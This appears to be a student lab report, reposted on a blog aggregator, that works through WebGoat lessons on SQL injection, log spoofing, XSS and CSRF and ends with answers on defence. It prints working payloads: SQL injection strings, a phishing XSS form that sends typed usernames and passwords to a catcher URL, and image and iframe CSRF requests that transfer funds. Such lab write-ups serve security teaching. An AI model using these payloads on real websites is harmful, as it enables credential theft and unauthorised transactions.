zoukankan      html  css  js  c++  java
  • 20174321王柏舟 Exp9 Web安全基础

    目录

    一、实践目标

    二、实践原理

    三、实践过程

    四、思考题

    五、实践总结


    一、实践目标

    • Webgoat实践下相关实验
    • 理解常用网络攻击技术的基本原理

    二、实践原理

    1.SQL注入攻击

            SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    2.XSS攻击

           XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    3.CSRF攻击

           CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。


    三、实践过程

    (一)WebGoat安装

    • 下载【Java -jar webgoat-container-7.0.1-war-exec.jar】文件。
    • 将Jar包移动至文件目录下输入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat。
    • 浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面。输入用户名密码登录进去,左侧栏显示课程。

     (二)SQL注入攻击

    1、Command Injection(命令注入)

    • 目标 能够在目标主机上执行任何系统命令
    • 右键点击复选框选择 Inspect 审查网页元素对源代码 <option> 进行修改

     

    •  View 可以看到网络端口使用情况和IP地址

     

     

     2.Numeric SQL Injection(数字型SQL注入)

    • 原理 当输入的参数为整型如ID、年龄、页码等时,若存在注入漏洞,认为是数字型注入攻击。
    • 目标 在页面尝试插入能够使所有天气数据显示出了的SQL字符串。
    • 方法 用或和【1=1】来使语句永真。单击右键选择【inspect Elemnet】,在<option>的城市编号【value="101】后面加【or 1=1】。

    • 点击【Go!】显示所有城市的天气。

    3、Log Spoofing(日志欺骗)

    • 原理 在日志文件中插入脚本,清除在日志中的痕迹。
    • 目标 用户名为admin的用户在日志中显示成功登录。
    • 方法 利用回车【%0d】和换行符【%0a】使用户名在日志中显示为两行。
    • 【User Name】中填入webgoat%0d%0aLogin Succeeded for username: mark4321
    • 点击Login 登录。

    4、String SQL Injection(字符串型注入)

    • 原理 当SQL注入输入的参数为字符串时称为字符串型注入。
    • 目标 尝试插入一个SQL字符串,以显示所有信用卡号码。
    • 方法 【'】提前闭合,【1=1】永真和【--】注释。在用户名处输入【mark' or 1=1--】,点击【Go!】。

     (三)XSS攻击

    1.Phishing with XSS(XSS钓鱼)

    • 原理 当用户输入非法HTTP响应时,实现钓鱼工具或向某些官方页面中增加内容。
    • 目标 创建一个 form,要求填写用户名和密码。将数据提交到【http://localhost:8080/WebGoat/catcher PROPERTY=yes&user=catcheUserName&password=catchedPasswordNam】。
    • 方法 在【Search】框输入:
    </form>
    <script>
    function hack()
    { XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="
    + document.phish.user.value + "&password=" + document.phish.pass.value + ""; 
    alert("Had this been a real attack... Your credentials were just stolen. 
    User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} 
    </script>
    <form name="phish"><br><br><HR><H3>
    This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user">
    <br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()">
    </form><br><br><HR>

     点击【Search】。输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat。

    2.Stored XSS Attacks(存储型XSS攻击) 

    • 原理 把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站。
    • 目标 写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
    • 方法在【Title】中任意输入,【Message】输入<script>alert("You've been attacked by 4321qingfeng.");</script>,点击【Submit】提交。

     3.Reflected XSS Attacks(反射型XSS攻击)

    • 原理 使用攻击脚本创建一个URL,通过发布到另一个网站、通过电子邮件或其他方式让受害者点击它,当读取到该URL的时候就会被攻击。
    • 目标 攻击当前的结账页面。
    • 方法 序列码输入<script>alert("I'm qingfeng~");</script>点击【Purchase】。显示内容为script脚本指定的警告框。

    (四)CSRF攻击

    1、Cross Site Request Forgery(CSRF)

    • 原理 跨站请求伪造是一种让受害者加载一个包含网页的图片,如<img src="http://www.myblank .com/me?transferFunds=5000&to=12345/">当浏览器视图呈现此网页时,将使用指定的参数向【www.myblank.com】的me发出请求,但实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此如果用户对站点进行了身份认证,并且拥有永久或当前会话cookie,那么站点将无法与将其与合法的用户请求缺乏开,通过这种方式,攻击者可以让受害者执行他们本不打算执行的操作,如购买物品,或者网站提供的其他功能。
    • 目标 向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。
    • 方法 网页提示【Parameters】中的【src】为323,【menu】为900

     在【Message】中输入

    <img src="http://localhost:8080/WebGoat/attack?
    Screen=323&menu=900&transferFunds=4321 width="1" height="1"/>
    •  &transferFunds=4321 即转走的受害人的金额。
    • 点击 Submit 在Message List中生成以Title命名的链接,点击显示当前页面并下载这个消息转走用户的4321元,实现CSRF攻击。

    2、CSRF Prompt By-Pass

    • 查看确定【scr】和【menu】。

    • 在消息栏中输入
    <iframe src="attack?Screen=321&menu=900&transferFunds=4321"> </iframe>
    <iframe src="attack?Screen=321&menu=900&transferFunds=CONFIRM"> </iframe>
    • 点击 Submit 生成以【Title】命名的链接,点击链接攻击成功。

     


     四、思考题

    1.SQL注入攻击原理?如何防御?

    原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

    防御:

    1.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

    2.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

    3.过滤用户输入的检查用户输入的内容中是否有非法内容。

     2.XSS攻击的原理?如何防御?

    原理:跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。需要向web页面注入恶意代码,这些恶意代码能够被浏览器成功的执行。

    防御:

    1.在表单提交或者url参数传递前,对需要的参数进行过滤。

    2.过滤用户输入的检查用户输入的内容中是否有非法内容。如<>、”、 ‘;等,严格控制输出。

    3.CSRF攻击原理?如何防御?

    原理:CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

      防御:验证Http Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。

     五、实践总结

    1、遇到的问题

    启动WebGoat登录后左侧栏没有相应的课程

    • 解决方案 原因是JDK版本不匹配,需要下载JDK1.8并配置好环境变量。
    • 按照这篇文章进行配置,然后重新运行WebGoat,浏览器登陆可以正常显示。

    2、实践心得

    这次实验用webgoat尝试了XSS攻击、CSRF攻击、SQL注入攻击,过程比较简单,通过本次实验能够感受到这几类攻击的危害性,让我明白了我们一定不要乱点垃圾邮件里的链接、陌生人发的不明链接,在网上购物的时候也要注意保护隐私,否则可能会遭到不法分子的利用,受到财产损失。

  • 相关阅读:
    UltraEdit 注册机使用说明
    sybase 收集常用sql语句
    过渡模式
    JavaScript 钩子
    自定义过渡的类名
    CSS过渡、CSS动画
    单元素/组件的过渡
    通过 v-once 创建低开销的静态组件
    内联模板、X-Template
    程序化的时间侦听器
  • 原文地址:https://www.cnblogs.com/w574/p/12974808.html
Copyright © 2011-2022 走看看